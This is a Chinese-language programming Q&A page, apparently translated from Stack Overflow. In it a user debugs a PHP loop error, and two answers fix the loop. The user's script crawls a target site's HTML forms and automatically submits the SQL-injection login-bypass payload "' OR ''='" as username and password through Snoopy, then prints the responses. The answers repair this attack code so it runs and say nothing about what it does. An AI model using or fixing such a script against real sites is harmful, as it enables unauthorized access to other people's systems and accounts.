我正在Message: Invalid argument supplied for foreach()
在此行foreach($element->action as $URI){ // find action="" attr of <form> element
我的代码是嵌套的foreach()循环:
$siteToSearch = file_get_html($prefix.$sss);
foreach($siteToSearch->find('form') as $element){ // find <form> element
foreach($element->action as $URI){ // find action="" attr of <form> element
$submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars);
echo "response code: ".$snoopy->response_code."<br>\n";
print $snoopy->results;
}
}
我尝试在第一行定义$URI
为$URI = $element->action;
,但这似乎无法修复它
答案 0 :(得分:1)
当参数(此处为$element->action
)不是数组(或类似数组)时,您会收到“为foreach()提供的无效参数”消息。
我认为这里的问题是你根本不需要内部foreach
循环。 $element->action
似乎代表HTML表单元素的“action”属性。每个表单只有一个动作,可能在PHP中表示为字符串,而不是数组。
取出内循环并简单地添加一条你所提到的行$URI = $element->action
,应该可以解决这个问题。
答案 1 :(得分:0)
请检查$element->action
是否有某些价值,请在第一次循环后使用print_r( $element);
,并将内循环放入contion ==&gt; if($element->action) { }
代码将如下所示
$siteToSearch = file_get_html($prefix.$sss);
foreach($siteToSearch->find('form') as $element){ // find <form> element
if($element->action)
{
foreach($element->action as $URI){ // find action="" attr of <form> element
$submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars);
echo "response code: ".$snoopy->response_code."<br>\n";
print $snoopy->results;
}
}
}